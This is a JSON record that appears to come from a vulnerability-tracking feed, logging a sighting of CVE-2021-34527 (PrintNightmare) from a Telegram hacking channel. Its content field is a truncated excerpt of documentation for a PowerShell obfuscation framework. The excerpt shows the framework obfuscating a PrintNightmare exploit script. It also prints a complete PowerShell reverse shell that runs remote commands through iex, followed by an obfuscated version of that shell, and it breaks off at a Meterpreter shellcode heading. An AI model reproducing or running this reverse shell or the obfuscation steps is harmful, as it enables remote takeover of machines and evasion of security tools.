{"uuid": "a9cfc4eb-6df6-4e30-8347-922b277c3b1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34527", "type": "seen", "source": "https://t.me/hacking_Attack/97721", "content": "ire script.\n$Picker = 1..6 | Get-Random\nSwitch ($Picker) {\n    1 { $NewValue = 'Stay' }\n    2 { $NewValue = 'Off' }\n    3 { $NewValue = 'Ronins' }\n    4 { $NewValue = 'Lawn' }\n    5 { $NewValue = 'And' }\n    6 { $NewValue = 'Rocks' }\n} RequirementsThis framework and resulting payloads have been tested on the following operating system and PowerShell versions. The resulting reverse shells will not work on PowerShell v2.0\nPS VersionOS TestedInvoke-PSObfucation.ps1Reverse Shell7.1.3Kali 2021.2SupportedSupported5.1.19041.1023Windows 10 10.0.19042SupportedSupported5.1.21996.1Windows 11 10.0.21996SupportedSupported Usage ExamplesCVE-2021-34527 (PrintNightmare)\u250c\u2500\u2500(tristram\u327fkali)-[~]\n\u2514\u2500$ pwsh\nPowerShell 7.1.3\nCopyright (c) Microsoft Corporation.\n\nhttps://aka.ms/powershell\nType 'help' to get help.\n\nPS /home/tristram> . ./Invoke-PSObfuscation.ps1\nPS /home/tristram> Invoke-PSObfuscation -Path .\\CVE-2021-34527.ps1 -Cmdlets -Comments -NamespaceClasses -Variables -OutFile o-printnightmare.ps1\n\n     >> Layer 0 Obfuscation\n     >> https://github.com/gh0x0st\n\n[*] Obfuscating namespace classes\n[*] Obfuscating cmdlets\n[*] Obfuscating variables\n[-] -DriverName is now -QhYm48JbCsqF\n[-] -NewUser is now -ybrcKe\n[-] -NewPassword is now -ZCA9QHerOCrEX84gMgNwnAth\n[-] -DLL is now -dNr\n[-] -ModuleName is now -jd\n[-] -Module is now -tu3EI0q1XsGrniAUzx9WkV2o\n[-] -Type is now -fjTOTLDCGufqEu\n[-] -FullName is now -0vEKnCqm\n[-] -EnumElements is now -B9aFqfvDbjtOXPxrR\n[-] -Bitfield is now -bFUCG7LB9gq50p4e\n[-] -StructFields is now -xKryDRQnLdjTC8\n[-] -PackingSize is now -0CB3X\n[-] -ExplicitLayout is now -YegeaeLpPnB\n[*] Removing comments\n[*] Writing payload to o-printnightmare.ps1\n[*] Done\n\nPS /home/tristram> PowerShell Reverse Shell$client = New-Object System.Net.Sockets.TCPClient(\"127.0.0.1\",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \"PS \" + (pwd).Path + \"> \";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() \u250c\u2500\u2500(tristram\u327fkali)-[~]\n\u2514\u2500$ pwsh \nPowerShell 7.1.3\nCopyright (c) Microsoft Corporation.\n\nhttps://aka.ms/powershell\nType 'help' to get help.\n\nPS /home/tristram> . ./Invoke-PSObfuscation.ps1                                                                            \nPS /home/tristram> Invoke-PSObfuscation -Path ./revshell.ps1 -Integers -Cmdlets -Strings -ShowChanges\n\n     >> Layer 0 Obfuscation\n     >> https://github.com/gh0x0st\n\n[*] Obfuscating integers\n    Generator 2 >> 4444 >> $(0-0+0+0-0-0+0+4444)\n    Generator 1 >> 65535 >> $((65535))\n[*] Obfuscating strings\n    Generator 2 >> 127.0.0.1 >> $([char](16*49/16)+[char](109*50/109)+[char](0+55-0)+[char](20*46/20)+[char](0+48-0)+[char](0+46-0)+[char](0+48-0)+[char](0+46-0)+[char](51*49/51))\n    Generator 2 >> PS  >> $([char](1*80/1)+[char](86+83-86)+[char](0+32-0))\n    Generator 1 >> >  >> ([string]::join('', ( (62,32) |%{ ( [char][int] $_)})) | % {$_})\n[*] Obfuscating cmdlets\n    Generator 2 >> New-Object >> & ([string]::join('', ( (78,101,119,45,79,98,106,101,99,116) |%{ ( [char][int] $_)})) | % {$_})\n    Generator 2 >> New-Object >> & ([string]::join('', ( (78,101,119,45,79,98,106,101,99,116) |%{ ( [char][int] $_)})) | % {$_})\n    Generator 1 >> Out-String >> & ((\"Tpltq1LeZGDhcO4MunzVC5NIP-vfWow6RxXSkbjYAU0aJm3KEgH2sFQr7i8dy9B\")[13,16,3,25,35,3,55,57,17,49] -join '')\n[*] Writing payload to /home/tristram/obfuscated.ps1\n[*] Done Obfuscated PowerShell Reverse Shellhttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFdpEl_0ETuLypVOSfOkpT4pwMaGMJvoizr4oA_4l7yGKnXNJArsAycFpaBCGqsDmw-mlP9Z8XvLM_k7tz09Zi_t2DnM547GE7Zj0LzCaJLm9qCVeMhtW8Lj7P1-aA5l7IzbOyqdoUaOlYnvbX4Vh9lURfIu-VRdCyLzf7Nv4AIAwbzR9P6XQ-L3gY/s16000/0bFu5c4t3d.jpg Meterpreter PowerShell Shellcode\u250c\u2500\u2500(tri[...]", "creation_timestamp": "2026-09-01T20:01:00.281263Z"}